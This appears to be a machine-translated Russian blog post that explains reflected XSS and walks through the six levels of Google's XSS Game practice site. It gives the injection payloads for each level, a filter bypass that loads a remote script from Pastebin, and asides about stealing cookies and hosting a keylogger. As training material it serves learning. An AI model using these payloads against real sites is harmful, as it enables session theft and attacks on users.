Это будет длинная серия сообщений о межсайтовом скриптинге. У меня был некоторый опыт с этим в прошлом, но я бы солгал, если бы сказал, что выполнил более 5 задач XSS в своей жизни, однако на данный момент я намного превзошел это и делаю то, что я узнал, на бумаге. (или компьютер). Я собираюсь пройтись по ключевым концепциям, которые я изучил, некоторым интересным техникам, которые я усвоил, и напишу пошаговое описание 6-уровневого задания XSS, которое я выполнил.

Что такое Reflected XSS

Что важно понимать, по крайней мере для меня, - это постоянно напоминать себе, что Reflected XSS специально занимается HTTP-запросами и тем, как сервер реагирует на отправленные вами вредоносные данные. Если я отправлю Javascript на сервер, и он немедленно ответит на мой запрос Javascript где-нибудь в HTML, то он восприимчив к XSS (в этом есть много нюансов, но это основа). Сейчас это не кажется запутанным, но когда я добрался до DOM (объектной модели документа) XSS, о котором я расскажу в более позднем посте, это сильно сбило меня с толку, потому что оба они казались мне одинаковыми. ОНИ НЕ.

Ниже приведен супер базовый пример XSS, который вы больше никогда не найдете на реальном веб-сайте:

http://notsospooky.site/search?term={some_value}

Если вместо обычного значения, такого как Who is stronger, Saitama Sensei or Naruto, я ввожу что-то вроде

http://notsospooky.site/search?term=<script>alert(1)</script>

и сервер отвечает

<p>You searched for: <script>alert(1)</script></p>

тогда это приложение испорчено и у него есть XSS.

Вот и все, что такое Reflected XSS. Я знаю, что это немного, но есть много источников с очень подробными объяснениями. Я здесь, чтобы высказать свое мнение обо всем. Вкратце, Reflected XSS - это уязвимость, при которой вы отправляете вредоносный Javascript в HTTP-запросе, а сервер обрабатывает неожиданный ввод и возвращает его в ответ. Чтобы использовать этот тип XSS в атаке, вы должны заставить жертву (СОЦИАЛЬНЫЙ ЭНГИНЕР) щелкнуть ссылку, содержащую вредоносный код.

По сути, вам нужно найти способ заставить их щелкнуть http://notsospooky.site/search?term=<script>alert(1)</script>, чтобы этот скрипт запустился в их браузере.

Мой (ручной) процесс поиска XSS

Есть способы автоматизировать поиск XSS; есть даже многоязычные полезные нагрузки, которые вы можете просто вставить разными по разным параметрам, и они могут запускать XSS, если он существует; тем не менее, я стремлюсь стать одним из лучших хакеров, и, хотя я хочу участвовать в раздаче багов и заработать серьезный банк, я все же хочу знать, почему определенная полезная нагрузка будет работать. Мой самый большой страх - быть чертовым детишкой по сценариям.

Вот мои шаги:

  1. Я тестирую КАЖДЫЙ ввод. Следует изучить каждую точку входа в HTTP-запросе приложения. Сюда входят параметры или другие данные в строке запроса URL и теле сообщения, а также путь к файлу URL. Важно знать, что делает каждая переменная в запросе и на что она влияет. Взлом 1337 требует терпения, терпения, чтобы понять, как работает приложение и какие части влияют на другие части. При просмотре приложения все поля ввода создаются одинаково. Протестируйте.
  2. Как только я определил все потенциальные точки входа для моей будущей вредоносной полезной нагрузки, я затем отправляю случайную строку в запрос и смотрю, отражается ли она в ответе.
  3. Если это отражено в ответе, я пытаюсь понять его контекст. Отправив случайную буквенно-цифровую строку, я ищу ее точное местоположение. Это между тегами HTML, в атрибуте тега или обработчиках событий (например: href, onload, onerror и т. Д.), Заключено ли оно в кавычки, в тегах сценария? Хорошо разбирайтесь в HTML и Javascript, и это поможет вам на этом этапе.
  4. Протестируйте полезные нагрузки. Чего мы все ждали. Стандартный способ доказать, что сайт восприимчив к XSS, - это распечатать печально известное поле alert(1). Тем не менее, я читал, что лучше иметь лучший PoC, который доказывает, что, если бы злоумышленник нашел XSS, он действительно мог бы что-то сделать с уязвимостью, чтобы трахнуть приложение. Для этого я выбираю alert(document.cookie) (более сложный, я знаю), который будет отображать файлы cookie пользователей в окне предупреждения. В конце концов, я настрою облачный сервер, и мои PoC XSS будут включать отправку cookie на мой сервер - не принесет много пользы, если вы можете показать cookie только тому пользователю, которому он принадлежит;). В любом случае, вернемся к полезной нагрузке:
  • Прямо сейчас я буду противоречить себе и скажу, что я начинаю каждый тест с простой <script>alert(1)</script> полезной нагрузки, потому что это позволяет мне понять, как приложение обрабатывает специальные символы, теги скриптов и методы Javscript. Затем я поиграю с полезными нагрузками, чтобы избежать кодирования, двойного кодирования, черных списков или чего-либо еще, что приложение использует для предотвращения выполнения Javascript. Однако я понимаю, что эта информация не является конкретной, и это также было моей самой большой проблемой при изучении XSS. Я думаю, что лучший способ понять XSS - это решать множество проблем и бороться с ними, потому что тогда вы действительно узнаете методы и нюансы уязвимости.

Первое из многих испытаний, которые я выполню, можно увидеть ниже. Ниже приводится описание шести уровней с https://xss-game.appspot.com/, супер классного веб-сайта, созданного Google, чтобы помочь людям узнать больше о XSS. Надеюсь, эта статья прольет свет на различные методы, которые можно использовать для эксплуатации XSS.

XSS Game AppSpot

1-й уровень

Это слишком просто, лол. Если вы посмотрите исходный код, он принимает запрос, а затем возвращает его. Буквально ничего не делает. Ооооооооооооооооооооооооооооооооооооооооооооооооооооооооооооооо <script>alert(1)</script> сделает свое дело.

Уровень 2

Этот уровень тоже крайне тривиален. Однако вышеуказанная полезная нагрузка не будет работать. Если мы посмотрим на страницу, мы увидим, что в полях комментариев один пользователь использовал HTML для стилизации комментария, а в сообщении под ним, похоже, есть тег img, который не смог загрузить правильное изображение, что объясняет крошечный серый квадрат. Обе эти подсказки указывают, что правильная полезная нагрузка будет <img src=x onerror=alert(1)>. Еще одна простая полезная нагрузка, где src - ссылка на изображение, и в случае ошибки будет вызываться onerror. В этом случае он вызовет alert(1).

Уровень 3

Наконец, уровень, который требует, чтобы вы действительно понимали базовый Javascript. При взгляде на исходный код вам следует обратить внимание на следующие строки:

var html = "Image " + parseInt(num) + "<br>";

html += "<img src='/static/level3/cloud" + num + ".jpg'/>";

Здесь мы видим, что num берется из строки запроса URL и на основе его значения загружает определенное изображение. Однако интересно то, что мы можем вырваться из этого тега img и создать новый. Мы могли бы использовать ', чтобы закрыть текущий тег, а затем следовать за ним с помощью <img src=x onerror=alert(1)>, чтобы конечная полезная нагрузка была '<img src=x onerror=alert(1)>

Уровень 4

Этот уровень - еще один пример выхода из текущего контекста HTML. Важная строка в исходном коде:

<img src="/static/loading.gif"onload="startTimer('{{ timer }}');"/>

startTime - это метод Javascript, который принимает один аргумент, количество секунд для обратного отсчета. Однако в этом теге img мы видим, что, как и на уровне 3, можно выйти из текущего контекста и вызвать предупреждение. Чтобы сначала выйти из onload, мы должны ввести ');, фактически создавая:

<img src="/static/loading.gif "onload="startTimer('{{ ');}}');"/>

Теперь у нас есть метод startTimer, принимающий строку {{ в качестве параметра. Затем мы можем легко вставить alert(1); после вызова метода, чтобы вызвать наш Javascript, а затем, после того, как мы добавим //, чтобы закомментировать остальную часть кода, чтобы предотвратить любые ошибки. Последняя полезная нагрузка - ');alert(1);//, и ее можно найти в теге img как

<img src="/static/loading.gif "onload="startTimer('{{ ')alert(1);//}}');"/>

5 уровень

Этот уровень проще, чем ожидалось. Подсказка содержится в заголовке Протокол нарушения. Можно вызвать Javascript, используя протокол javascript:. Поэтому, когда я увидел название этого испытания, я подумал, что это то, что мы должны были сделать, и, к счастью, мое предположение оказалось правильным. Поскольку на этом уровне было несколько страниц, я сначала прошел по сайту и отслеживал все его поведение, прежде чем попытаться вставить полезную нагрузку. Когда вы перейдете на страницу Enter Email, вы увидите URL-адрес:

https://xss-game.appspot.com/level5/frame/signup?next=confirm и ваша первая мысль должна быть о том, что произойдет, если вы измените значение переменной next. Изменив его на test, я заметил, что меня перенаправили обратно на домашнюю страницу, но с test, отраженным в URL-адресе.

https://xss-game.appspot.com/level5/frame/test

Итак, я подумал, что эта переменная была точкой входа для нашей полезной нагрузки XSS, и так оно и было. Используя протокол javascript:, я просто использовал javascript:alert(1) и активировал XSS.

Окончательная полезная нагрузка была: https://xss-game.appspot.com/level5/frame/signup?next=javascript:alert(1)

6 уровень

Наверное, это был мой самый любимый уровень. Уровень объясняет, что мы должны найти способ заставить приложение делать запрос внешнего файла, и нам дается строка url:

https://xss-game.appspot.com/level6/frame#/static/gadget.js

Все, что находится после хеша, будет тем, что запрашивает сайт. Итак, мы захотим разместить файл с alert(1) (так как это цель для этих задач). Обычно вам нужно что-то более захватывающее во внешнем размещенном файле. Например, у вас может быть сценарий кейлоггера, который при загрузке будет записывать все, что пользователь вводит в приложении. В любом случае я отвлекся.

Если вам лень настраивать сервер (я) или вы не знаете, как это сделать, Pastebin (супер-пупер-хакерский сайт) позволяет размещать файлы. Зная это, я создал пасту с alert(1). Затем в URL-адресе я помещаю этот URL-адрес Pastebin после хеша. Однако я использовал необработанный формат, потому что хочу, чтобы приложение извлекало необработанные данные (избыточные, но верные) из вставки, то есть alert(1). Кроме того, при просмотре исходного кода есть регулярное выражение, которое соответствует http/https, поэтому, чтобы обойти это, я просто изменил h на H (это могла быть любая буква). Окончательная полезная нагрузка:

https://xss-game.appspot.com/level6/frame#Https://pastebin.com/raw/GrTVzqBq

Сайт сделает запрос по этому URL-адресу, извлечет из него данные и, если есть Javascript, выполнит его.

На этом пока все. Спасибо за прочтение! Я много фокусируюсь на XSS, поэтому будет гораздо больше сообщений о различных задачах, которые я выполняю, и о различных методах, которые я изучу!